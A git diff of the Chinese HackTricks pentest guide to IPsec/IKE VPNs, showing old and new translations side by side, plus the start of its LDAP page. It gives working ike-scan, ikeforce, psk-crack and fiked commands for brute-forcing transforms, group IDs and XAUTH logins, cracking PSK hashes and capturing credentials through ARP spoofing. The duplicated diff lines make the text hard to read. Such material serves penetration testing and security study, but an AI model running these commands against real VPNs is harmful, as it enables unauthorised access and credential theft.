找到最重要的漏洞以便更快地修复它们。Intruder 跟踪你的攻击面,运行主动威胁扫描,发现整个技术栈中的问题,从 API 到 Web 应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。 发现最重要的漏洞以便更快修复。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -22,17 +24,17 @@
## 基本信息 ## 基本信息
IPsec 是用于网关到网关LAN 到 LAN和主机到网关远程访问企业 VPN 解决方案的最常用技术。 IPsec 是网关到网关LAN 到 LAN和主机到网关远程访问企业 VPN 解决方案中最常用的技术。
**IKE 是 ISAKMP 的一种类型**Internet Security Association Key Management Protocol实现它是一种用于身份验证和密钥交换的框架。IKE 通过三个阶段的过程在两个端点之间建立安全关联SA **IKE 是 ISAKMP 的一种类型**Internet Security Association Key Management Protocol实现它是用于身份验证和密钥交换的框架。IKE 通过三个阶段的过程在两个端点之间建立安全关联SA
* **第 1 阶段:**使用预共享密钥PSK或证书在 2 个端点之间建立安全通道。它可以使用主模式3 对消息)或**主动模式**。 * **第 1 阶段:** 使用预共享密钥PSK或证书在 2 个端点之间建立安全通道。它可以使用主模式3 对消息)或 **主动** 模式
* **第 1.5 阶段:**这是可选的,称为扩展认证阶段,用于对尝试连接的用户进行身份验证(用户+密码)。 * **第 1.5 阶段:** 这是可选的,称为扩展认证阶段,用于对尝试连接的用户进行身份验证(用户+密码)。
* **第 2 阶段:**使用 ESP 和 AH 协商数据安全参数。它可以使用与第 1 阶段不同的算法(完前向保密PFS * **第 2 阶段:** 使用 ESP 和 AH 协商数据安全参数。它可以使用与第 1 阶段不同的算法(完前向保密PFS
**默认端口:**500/udp **默认端口:** 500/udp
## 使用 nmap 发现服务 ## 使用 nmap **发现** 服务
``` ```
root@bt:~# nmap -sU -p 500 172.16.21.200 root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
@ -42,13 +44,13 @@ PORT STATE SERVICE
500/udp open isakmp 500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
``` ```
## **找有效的转换** ## **找有效的转换**
IPSec配置只准备接受一个或几个转换。一个转换是一组值的组合。**每个转换**包含一些属性如DES或3DES作为**加密算法**SHA或MD5作为**完整性算法**,预共享密钥作为**身份验证类型**Diffie-Hellman 1或2作为密钥**分发算法**以及28800秒作为**生命周期**。 IPSec配置可能只准备接受一个或几个转换。一个转换是一组值。**每个转换**包含一些属性如DES或3DES作为**加密算法**SHA或MD5作为**完整性算法**,预共享密钥作为**认证类型**Diffie-Hellman 1或2作为密钥**分发算法**以及28800秒作为**生存期**。
因此,你首先要做的是**找到一个有效的转换**,这样服务器才会与你通信。为此,你可以使用工具**ike-scan**。默认情况下ike-scan在主模式下工作并向网关发送一个带有ISAKMP头和一个包含**八个转换**的提议的数据包。 因此,你首先要做的是**找到一个有效的转换**,这样服务器就会与你通信。为此,你可以使用工具**ike-scan**。默认情况下Ike-scan在主模式下工作并向网关发送一个带有ISAKMP头和一个包含**八个转换**的提议的数据包。
根据响应,你可以获取有关端的一些信息: 根据响应,你可以获取有关端的一些信息:
``` ```
root@bt:~# ike-scan -M 172.16.21.200 root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -59,14 +61,15 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
``` ```
正如您在上一条回复中所看到的,有一个名为**AUTH**的字段,其值为**PSK**。这意味着VPN是使用预共享密钥进行配置的对于渗透测试人员来说这非常好 正如您在上一个响应中所看到的,有一个名为**AUTH**的字段,其值为**PSK**。这意味着 VPN 是使用预共享密钥配置的(这对于渗透测试人员来说非常有用)。
**最后一行的值也非常重要:** **最后一行的值也非常重要:**
* _返回0个握手返回0个通知_ 这意味着目标不是一个IPsec网关 * _0 returned handshake; 0 returned notify:_ 这意味着目标**不是 IPsec 网关**
* _**返回1个握手返回0个通知**_ 这意味着目标已配置为IPsec并愿意执行IKE协商,并且您提出的一个或多个变换是可接受的(输出中将显示一个有效的变换)。 * _**1 returned handshake; 0 returned notify:**_ 这意味着**目标已配置为 IPsec 并愿意执行 IKE 协商,并且您提出的一个或多个变换是可接受的**(有效的变换将显示在输出中)。
* _返回0个握手返回1个通知_ 当**没有一个变换是可接受的**时VPN网关会响应一个通知消息(尽管一些网关不会这样做,在这种情况下,应尝试进一步分析和修改提议)。 * _0 returned handshake; 1 returned notify:_ VPN 网关在**没有任何变换可接受时**会响应通知消息(尽管一些网关不会这样做,在这种情况下,应尝试进一步分析和修改提议)。
因此,在这种情况下,我们已经有一个有效的变换,但如果您处于第三种情况,则需要**稍微进行暴力破解以找到一个有效的变换** 因此,在这种情况下,我们已经有一个有效的变换,但如果您处于第三种情况,则需要**稍微暴力破解以找到有效的变换**
首先,您需要创建所有可能的变换: 首先,您需要创建所有可能的变换:
```bash ```bash
@ -76,30 +79,30 @@ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for A
```bash ```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
``` ```
如果暴力破解没有成功,可能服务器即使对有效的转换也没有进行握手响应。那么,你可以尝试使用侵略模式进行相同的暴力破解: 如果暴力破解没有成功,也许服务器甚至对有效的转换也没有握手而直接响应。那么,您可以尝试使用侵略模式进行相同的暴力破解:
```bash ```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
``` ```
希望**有效的转换被回显**。\ 希望**有效的转换被回显**。\
您可以尝试使用[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)进行**相同的攻击**。\ 您可以尝试使用[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)进行**相同的攻击**。\
您还可以尝试使用[**ikeforce**](https://github.com/SpiderLabs/ikeforce)来暴力破解转换: 您还可以尝试使用[ikeforce](https://github.com/SpiderLabs/ikeforce)来暴力破解转换:
```bash ```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help ./ikeforce.py <IP> # No parameters are required for scan -h for additional help
``` ```
![](<../.gitbook/assets/image (109).png>) ![](<../.gitbook/assets/image (109).png>)
在**DH Group: 14 = 2048-bit MODP**和**15 = 3072-bit**中\ 在**DH Group: 14 = 2048-bit MODP**和**15 = 3072-bit**中\
**2 = HMAC-SHA = SHA1在这种情况下。--trans格式为$Enc$Hash$Auth$DH** **2 = HMAC-SHA = SHA1在这种情况下。--trans格式为$Enc,$Hash,$Auth,$DH**
Cisco建议特别避免使用DH组1和2。论文的作者描述了如何通过离散对数预计算来解密使用弱组协商的IPsec会话这很可能是国家可以做到的。通过实时解密使用弱组1,024位或更小的任何会话数亿美元的预计算成本得到了摊销 思科建议特别避免使用DH组1和2。论文的作者描述了**国家可能会通过离散对数预计算解密使用弱组协商的IPsec会话**。通过进行预计算花费的数亿美元可以通过实时解密使用弱组1,024位或更小的任何会话来摊销成本
### 服务器指纹识别 ### 服务器指纹识别
然后您可以使用ike-scan尝试**发现设备的供应商**。该工具发送一个初始提议并停止重放。然后,它将**分析**从服务器接收的消息与匹配响应模式之间的**时间差异**渗透测试人员可以成功识别VPN网关供应商。此外一些VPN服务器将使用带有IKE的可选**供应商IDVID负载**。 然后您可以使用ike-scan尝试**发现设备的供应商**。该工具发送初始提议并停止重放。然后,它将**分析**从服务器接收的**消息**与匹配响应模式之间的**时间**差异渗透测试人员可以成功识别VPN网关供应商。此外一些VPN服务器将使用带有IKE的可选**供应商IDVID负载**。
**如果需要,指定有效的转换**(使用--trans **如有需要,请指定有效的转换**(使用--trans
如果IKE发现供应商是谁,它将打印出来: 如果IKE发现供应商它将打印出来
``` ```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200 root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -119,54 +122,50 @@ IP Address No. Recv time Delta Time
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
``` ```
这也可以使用nmap脚本_**ike-version**_来实现。 这也可以通过 nmap 脚本 _**ike-version**_ 实现
## 查找正确的ID组名 ## 查找正确的 ID组名
为了能够捕获哈希值您需要一个支持主动模式和正确ID组名的有效转换。您可能不知道有效的组名因此您需要进行暴力破解。\ 为了被允许捕获哈希值,您需要一个支持主动模式和正确 ID组名的有效转换。您可能不知道有效的组名因此您将不得不使用暴力破解方法。\
为此我建议您使用2种方法 为此,我建议您使用 2 种方法:
### 使用ike-scan进行ID暴力破解 ### 使用 ike-scan 进行 ID 暴力破解
首先尝试使用虚假的ID发出请求尝试收集哈希值"-P" 首先尝试使用虚假 ID 发出请求,尝试收集哈希值("-P":
```bash ```bash
ike-scan -P -M -A -n fakeID <IP> ike-scan -P -M -A -n fakeID <IP>
``` ```
如果**没有返回哈希值**,那么可能这种暴力破解方法会起作用。**如果返回了某个哈希值这意味着将返回一个伪造的哈希值用于伪造的ID因此这种方法不可靠**来暴力破解ID。例如可能会返回一个伪造的哈希值在现代版本中会发生这种情况 如果**没有返回哈希值**,那么可能这种暴力破解方法会奏效。**如果返回了某个哈希值这意味着将为一个虚假的ID发送一个虚假的哈希值因此这种方法不可靠**用于暴力破解ID。例如可能会返回一个虚假的哈希值在现代版本中会发生
![](<../.gitbook/assets/image (110).png>) ![](<../.gitbook/assets/image (110).png>)
但是,如果如我所说,没有返回哈希值,那么你应该尝试使用ike-scan来暴力破解常见的组名。 但是,如我所说,如果没有返回哈希值,那么您应该尝试使用ike-scan来暴力破解常见的组名。
这个脚本**将尝试暴力破解可能的ID**,并返回返回有效握手的ID这将是一个有效的组名 此脚本**将尝试暴力破解可能的ID**,并将返回发生有效握手的ID这将是一个有效的组名
如果你发现了特定的转换请在ike-scan命令中添加它。如果你发现了多个转换请随意添加一个新的循环来尝试它们你应该尝试它们所有直到其中一个正常工作为止)。 如果您发现了特定的转换请将其添加到ike-scan命令中。如果您发现了多个转换请随时添加一个新循环以尝试它们应该尝试它们直到其中一个正常工作为止)。
可以使用[ikeforce的字典](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)或[seclists中的字典](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)来暴力破解常见的组名 可以使用[ikeforce的字典](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)或[seclists中的字典](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)中的常见组名进行暴力破解:
```bash ```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
``` ```
或者使用这个字典(是两个字典的组合,没有重复的内容): ### 使用 Iker 进行 ID 的暴力破解
{% file src="../.gitbook/assets/vpnIDs.txt" %} [iker.py](https://github.com/isaudits/scripts/blob/master/iker.py) 也使用 **ike-scan** 来暴力破解可能的组名。它遵循自己的方法来 **根据 ike-scan 的输出找到有效的 ID**
### 使用Iker进行ID暴力破解 ### 使用 ikeforce 进行 ID 的暴力破解
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) 也使用 **ike-scan** 来暴力破解可能的组名。它遵循自己的方法根据ike-scan的输出来找到一个有效的ID [ikeforce.py](https://github.com/SpiderLabs/ikeforce) 是一个工具,也可以用来 **暴力破解 ID**。该工具将 **尝试利用不同的漏洞**,这些漏洞可以用来 **区分有效和无效的 ID**(可能会有误报和漏报,这就是为什么我更喜欢在可能的情况下使用 ike-scan 方法)
### 使用ikeforce进行ID暴力破解 默认情况下,**ikeforce** 会在开始时发送一些随机的 id 来检查服务器的行为,并确定要使用的策略。
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) 是一个可以用来暴力破解ID的工具。该工具将尝试利用不同的漏洞来区分有效ID和非有效ID可能会有误报和误判这就是为什么我更喜欢使用ike-scan方法 * **第一种方法** 是通过 **搜索** Cisco 系统的 **Dead Peer Detection DPD** 信息来暴力破解组名(只有在组名正确时服务器才会回复此信息)。
* 可用的 **第二种方法****检查每次尝试发送的响应数量**,因为有时在使用正确的 id 时会发送更多的数据包。
* **第三种方法** 是在响应错误的 ID 时 **搜索“INVALID-ID-INFORMATION”**
* 最后,如果服务器对检查没有任何回复,**ikeforce** 将尝试暴力破解服务器,并检查当发送正确的 id 时服务器是否会回复一些数据包。\
显然,暴力破解 id 的目的是在获得有效 id 后获取 **PSK**。然后,使用 **id****PSK**,您将需要暴力破解 XAUTH如果已启用
默认情况下ikeforce会在开始时发送一些随机的ID来检查服务器的行为并确定要使用的策略。 如果您发现了特定的转换,请将其添加到 ikeforce 命令中。如果您发现了多个转换,请随时添加一个新循环以尝试它们全部(直到其中一个正常工作为止)。
* 第一种方法是通过搜索Cisco系统的Dead Peer Detection DPD信息只有在组名正确时服务器才会回复该信息来暴力破解组名。
* 第二种可用的方法是检查每次尝试发送的响应数量因为有时在使用正确的ID时会发送更多的数据包。
* 第三种方法是在对不正确的ID进行响应时搜索"INVALID-ID-INFORMATION"。
* 最后如果服务器对检查没有任何回复ikeforce将尝试暴力破解服务器并检查当发送正确的ID时服务器是否会回复一些数据包。\
显然暴力破解ID的目标是在获得有效的ID后获取PSK。然后使用ID和PSK将需要暴力破解XAUTH如果启用
如果您发现了特定的转换请将其添加到ikeforce命令中。如果您发现了多个转换请随意添加一个新的循环来尝试它们您应该尝试它们所有直到其中一个正常工作为止
```bash ```bash
git clone https://github.com/SpiderLabs/ikeforce.git git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -177,66 +176,78 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
``` ```
### 嗅探ID ### 嗅探ID
通过嗅探VPN客户端和服务器之间的连接也可以获取有效的用户名因为第一个激进模式数据包中包含的客户端ID是明文发送的来自书籍《网络安全评估了解您的网络》 同样,通过嗅探VPN客户端和服务器之间的连接也可以获取有效的用户名因为第一个激进模式数据包中包含客户端ID是明文传输的来自书籍**网络安全评估:了解您的网络**
![](<../.gitbook/assets/image (111).png>) ![](<../.gitbook/assets/image (111).png>)
## 捕获和破解哈希 ## 捕获和破解哈希
最后,如果您找到了一个**有效的转换**和**组名**,并且**允许激进模式**,那么您可以非常容易地获取可破解的哈希值: 最后,如果您找到了一个**有效的转换**和**组名**,并且**允许激进模式**,那么您可以非常容易地获取可破解的哈希值:
```bash ```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
``` ```
哈希将保存在 _hash.txt_ 文件中。 哈希将保存在 _hash.txt_ 中。
您可以使用 **psk-crack**、**john**(使用 [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py))和 **hashcat****破解**该哈希值 您可以使用 **psk-crack**、**john**(使用 [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py))和 **hashcat****破解** 这个哈希
```bash ```bash
psk-crack -d <Wordlist_path> psk.txt psk-crack -d <Wordlist_path> psk.txt
``` ```
## **XAuth** ## **XAuth**
大多数实现使用**预共享密钥的主动模式IKE进行组认证**,并使用**XAUTH提供额外的用户认证**通过Microsoft Active Directory、RADIUS或类似方式。在**IKEv2**中,**EAP代XAUTH**用于认证用户。 大多数实现使用**带有PSK的主动模式IKE进行组认证**,并使用**XAUTH提供额外的用户认证**通过Microsoft Active Directory、RADIUS或类似方式。在**IKEv2**中,**EAP代XAUTH**用于认证用户。
### 本地网络中间人攻击以捕获凭据 ### 本地网络中间人攻击以捕获凭据
因此,您可以使用_fiked_捕获登录数据并查看是否存在默认用户名您需要将IKE流量重定向到`fiked`以进行嗅探可以借助ARP欺骗来完成[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)。Fiked将充当VPN端点并捕获XAuth凭据 因此,您可以使用 _fiked_ 捕获登录数据并查看是否有任何默认用户名您需要将IKE流量重定向到 `fiked` 进行嗅探可以借助ARP欺骗来实现[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)。Fiked将充当VPN端点并捕获XAuth凭据
```bash ```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d fiked -g <IP> -k testgroup:secretkey -l output.txt -d
``` ```
此外使用IPSec尝试进行中间人攻击并阻止所有流量到端口500如果无法建立IPSec隧道,可能会以明文形式发送流量。 ### 使用 IPSec 尝试进行中间人攻击,并阻止所有流量访问端口 500如果 IPSec 隧道无法建立,可能会以明文形式发送流量。
### 使用ikeforce暴力破解XAUTH用户名和密码 ### 使用 ikeforce 对 XAUTH 用户名和密码进行暴力破解
暴力破解**XAUTH**(当您知道有效的组名**id**和**psk**时),您可以使用用户名或用户名列表以及密码列表: **XAUTH**(当您知道有效的组名 **id****psk** 时)进行暴力破解,您可以使用一个用户名或用户名列表以及一个密码列表:
```bash ```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1] ./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
``` ```
这样ikeforce将尝试使用每个用户名:密码组合进行连接。 这样ikeforce 将尝试使用每个用户名:密码组合进行连接。
如果找到一个或多个有效的转换方式,就像之前的步骤一样使用它们 如果找到一个或多个有效的 transforms就像在前面的步骤中使用它们一样
## 使用IPSEC VPN进行身份验证 ## 使用 IPSEC VPN 进行身份验证
在Kali中使用**VPNC**建立IPsec隧道。**配置文件**必须位于_**/etc/vpnc/**_中您可以使用工具_**vpnc**_来调用它们。\ 在 Kali 中,**VPNC** 用于建立 IPsec 隧道。**配置文件** 必须位于目录 `/etc/vpnc/` 中。您可以使用命令 _**vpnc**_ 来启动这些配置文件。
以下示例摘自书籍**Network Security Assessment 3rd Edition**
``` 以下命令和配置说明了使用 VPNC 建立 VPN 连接的过程:
root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP ```bash
IPSec gateway 10.0.0.250 root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec ID vpntest IPSec gateway [VPN_GATEWAY_IP]
IPSec secret groupsecret123 IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk IKE Authmode psk
Xauth username chris Xauth username [VPN_USERNAME]
Xauth password tiffers1 Xauth password [VPN_PASSWORD]
STOP STOP
root@kali:~# vpnc vpntest root@system:~# vpnc samplevpn
VPNC started in background (pid: 6980)... VPNC started in background (pid: [PID])...
root@kali:~# ifconfig tun0 root@system:~# ifconfig tun0
``` ```
在这个设置中:
- 用 VPN 网关的实际 IP 地址替换 `[VPN_GATEWAY_IP]`
- 用 VPN 连接的标识符替换 `[VPN_CONNECTION_ID]`
- 用 VPN 的组密码替换 `[VPN_GROUP_SECRET]`
- 用 VPN 认证凭据替换 `[VPN_USERNAME]``[VPN_PASSWORD]`
- `[PID]` 表示 `vpnc` 启动时将分配的进程 ID。
在配置 VPN 时,请确保使用实际的、安全的值来替换占位符。
## 参考资料 ## 参考资料
* [PSK破解论文](http://www.ernw.de/download/pskattack.pdf) * [PSK 破解论文](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) * [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [扫描VPN实现](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf) * [扫描 VPN 实现](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* 《网络安全评估第三版》
## Shodan ## Shodan
@ -244,18 +255,20 @@ root@kali:~# ifconfig tun0
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure> <figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。 找到最重要的漏洞以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 支持 HackTricks 的其他方式:
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 如果您想在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。** * 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>

View file

@ -1,42 +1,42 @@
# 389, 636, 3268, 3269 - LDAP渗透测试 # 389, 636, 3268, 3269 - LDAP 渗透测试
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
* 如果你在一家**网络安全公司**工作,想在**HackTricks**上看到你的**公司广告**,或者想要获取**PEASS最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 支持 HackTricks 的其他方式:
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)。 - 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** - 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。** - 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
## 基本信息 ## 基本信息
摘自:[https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP) LDAP轻量级目录访问协议主要用于在网络中定位实体如组织、个人和各种资源例如文件、设备。这可以是在互联网等公共平台上也可以是在私人内部网络中。作为目录访问协议DAP的简化版本LDAP 具有较小的代码占用空间。
LDAP(轻量级目录访问协议)是一种软件协议,用于使任何人都能够在网络中**定位**组织、个人和其他**资源**如文件和设备无论是在公共互联网上还是在企业内网上。LDAP是Directory Access ProtocolDAP的"轻量级"(代码量更少)版本 LDAP 目录的结构允许其分布在多个服务器上。在这些服务器的每个上整个目录的复制形式存在并且会定期进行同步。在这种情况下LDAP 服务器被称为目录系统代理DSA。当用户向 LDAP 服务器发送请求时,服务器会对该请求负全部责任。这涉及与其他 DSA 进行通信(如果需要),但更重要的是,它确保用户收到单一、连贯的响应
一个LDAP目录可以在许多服务器之间**分布**。每个服务器都可以有一个总目录的**复制**版本,该版本会定期进行**同步**。一个LDAP服务器被称为目录系统代理DSA。接收到用户请求的LDAP服务器负责该请求必要时将其传递给其他DSA但确保为用户提供一个协调的单一响应。 LDAP 目录的组织类似于简单的“树”层次结构,包括几个级别:
一个LDAP目录在组织上是一个简单的"树"层次结构,包括以下级别: - 最高级别是根目录,充当树的起源或源头。
- 这分支到下一个级别,即国家。
- 每个国家进一步分为组织。
- 组织分为组织单位。这些单位可以代表不同的部门或部门。
- 最后一级包括个体实体。这不仅包括人员,还包括文件和打印机等共享资源。
* 根目录(树的起点或源头),它分支出去到 **默认端口:** 389 和 636ldaps。全局目录ActiveDirectory 中的 LDAP默认在端口 3268 上提供LDAPS 则在端口 3269 上提供。
* 各个国家,每个国家又分支出去到
* 组织,它们又分支出去到
* 组织单位(部门、部门等),它们又分支出去到(包括条目)
* 个人(包括人员、文件和共享资源,如打印机)
**默认端口:**389和636ldaps。全局目录ActiveDirectory中的LDAP默认在端口3268和3269上可用于LDAPS。
``` ```
PORT STATE SERVICE REASON PORT STATE SERVICE REASON
389/tcp open ldap syn-ack 389/tcp open ldap syn-ack
636/tcp open tcpwrapped 636/tcp open tcpwrapped
``` ```
### LDAP 数据交换格式 ### LDAP数据交换格式
